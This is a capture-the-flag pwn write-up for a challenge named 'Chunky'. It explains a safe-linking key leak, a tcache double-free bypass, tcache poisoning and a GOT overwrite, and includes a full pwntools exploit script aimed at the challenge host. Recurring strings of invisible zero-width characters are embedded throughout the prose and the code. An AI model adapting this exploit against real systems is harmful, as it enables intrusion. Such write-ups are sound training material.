← Back to Writeups
CUSTOMMediumpwn

Chunky

XESXOR9/2/20265 min read
#pwn#custom#medium#got_overwrite#safe_linking_key_leak#tcache_double_free_bypass#tcache_poisoning

Chunky

Platform: cyberareactf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-15 | Status: Solved Techniques: got_overwrite, safe_linking_key_leak, tcache_double_free_bypass, tcache_poisoning

Summary

Task: A fixed-size heap manager leaves dangling pointers after free, enabling UAF reads and writes against safe-linked glibc tcache metadata. Solution: Leak the safe-linking key, bypass double-free detection, poison tcache, and overwrite GOT entries with win.

Chunky — cyberareactf

Description

A tiny fixed-size heap chunk manager with menu alloc/free/edit/show/exit.

The service manages up to 16 heap chunks. The objective is to exploit its memory-management mistakes and make the hidden flag-reading function execute on the remote service at 2.26.61.71:41002.

Analysis

The supplied binary is an unstripped, non-PIE AMD64 ELF with debug information. It has Partial RELRO, NX, a stack canary, SHSTK, and IBT. Every allocation calls malloc(0x48), so all user objects belong to the 0x50 tcache size class. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The global chunks[16] pointer array is not cleared by do_free. The corresponding sizes[] entry also remains valid, and both do_show and do_edit accept a freed index. This provides both a use-after-free read and a use-after-free write over tcache metadata.

The binary contains a hidden win() function at 0x4012f1. It opens and reads flag.txt using direct syscalls. In contrast, get_flag(), static CYBERAREA strings, and the debugging hint involving puts@GOT and get_flag() are decoys: get_flag() only prints a fake flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Leaking the safe-linking key

Modern glibc protects a singly linked tcache pointer as:

text
encoded_next = PROTECT_PTR(position, next)
             = (position >> 12) ^ next

When slot 0 is the only freed entry in its tcache bin, next is NULL. Its first qword therefore becomes:

text
encoded_next = chunk_address >> 12

Showing 16 bytes from the freed slot leaks this value directly. It is the key required to encode a forged pointer for any tcache metadata stored in the same chunk.

Bypassing double-free detection and preserving the count

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The second qword of a freed tcache entry is tcache_entry.key, which glibc uses to detect a duplicate free. The UAF write replaces the freed metadata with p64(key) + p64(0): the first qword keeps the valid encoded null pointer, while the zero clears the duplicate-free marker. Freeing slot 0 again is then accepted and raises the separate tcache-bin count to two.

That count is essential. Poisoning only one freed entry does not work: the first allocation pops the real chunk and reduces the count to zero, after which malloc ignores the forged head. The double-free ensures that two allocations can be serviced from the poisoned bin. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Poisoning tcache and handling adjacent GOT entries

Because the binary has Partial RELRO and no PIE, free@GOT is writable at the fixed address 0x404000. It is also 16-byte aligned, satisfying modern tcache alignment checks. The UAF edit changes the freed entry's encoded next pointer to:

text
free_got ^ key

The next allocation returns the original heap chunk, and the following allocation returns a pointer overlapping free@GOT.

There is one important complication: tcache_get clears entry->key at returned_pointer + 8. For a chunk returned at 0x404000, that address is puts@GOT at 0x404008. Consequently, a payload that overwrites only free@GOT leaves puts@GOT zeroed and crashes when do_alloc prints its success message. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The working payload requests and writes 16 bytes, placing win into both adjacent GOT slots:

text
free@GOT = win
puts@GOT = win

The puts("[+] allocated") call performed immediately by do_alloc is then redirected to win(), which reads and prints the real flag. Later menu output invokes the overwritten puts entry again, so the flag may appear repeatedly.

Solution

  1. Allocate 16 bytes in slot 0 and free it.
  2. Show the freed slot and interpret its first qword as chunk >> 12.
  3. UAF-edit the freed metadata to preserve the encoded null next and clear tcache_entry.key.
  4. Free slot 0 again, making the bin count two.
  5. UAF-edit its next to free@GOT ^ key.
  6. Allocate once to pop the real chunk.
  7. Allocate 16 bytes at the poisoned target and write p64(win) + p64(win) over free@GOT and puts@GOT.
  8. Capture the flag printed when the allocation's immediate puts call enters win(). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The complete verified exploit is:

python
#!/usr/bin/env python3
from pwn import *
import re

context.binary = elf = ELF("./pwn/chunky", checksec=False)
context.log_level = "info"

HOST, PORT = "2.26.61.71", 41002
FREE_GOT = elf.got["free"]
WIN = elf.sym["win"]

def start():
    return remote(HOST, PORT)

def choose(io, n):
    io.sendlineafter(b"> ", str(n).encode())

def alloc(io, size, data):
    assert len(data) == max(0, min(size, 0x48))
    choose(io, 1)
    io.sendlineafter(b"size: ", str(size).encode())
    io.send(data)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def free(io, idx):
    choose(io, 2)
    io.sendlineafter(b"index: ", str(idx).encode())

def edit(io, idx, size, data):
    assert len(data) == max(0, min(size, 0x48))
    choose(io, 3)
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"size: ", str(size).encode())
    io.send(data)

def show(io, idx, size):
    choose(io, 4)
    io.sendlineafter(b"index: ", str(idx).encode())
    io.recvuntil(b"[show] raw bytes:\n")
    return io.recvn(size)

def exploit():
    io = start()

    # A sole 0x50 tcache entry stores PROTECT_PTR(chunk, NULL) = chunk >> 12.
    alloc(io, 16, b"A" * 16)               # slot 0
    free(io, 0)
    leak = show(io, 0, 16)
    key = u64(leak[:8])
    log.info("safe-link key (chunk >> 12): %#x", key)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Clear tcache_entry.key, then double-free to make the bin count 2.
    # (A one-entry poison fails because malloc checks the separate count.)
    edit(io, 0, 16, p64(key) + p64(0))
    free(io, 0)

    # UAF edit poisons the tcache next pointer. free@GOT is 16-byte aligned.
    edit(io, 0, 8, p64(FREE_GOT ^ key))
    alloc(io, 8, b"B" * 8)                 # slot 1: original chunk
    # tcache_get clears entry->key at target+8, which is puts@GOT. Restore both
    # adjacent GOT words as win; do_alloc's immediate puts() then prints the flag.
    alloc(io, 16, p64(WIN) + p64(WIN))       # free@GOT = puts@GOT = win
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    out = io.recvrepeat(3)
    print(out.decode(errors="replace"))
    match = re.search(rb"CYBERAREA\{[^}]+\}", out)
    if match:
        log.success("FLAG: %s", match.group().decode())
    return out

if __name__ == "__main__":
    exploit()

The verified remote response contained:

text
[flag] CYBERAREA{REDACTED}

Failed Attempts

  • A poison based on only one freed tcache entry failed because popping that entry reduced the independent bin count to zero, so glibc ignored the forged head.
  • Overwriting only free@GOT failed because tcache_get cleared the adjacent puts@GOT entry at target offset +8; the process crashed on the immediate puts call. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍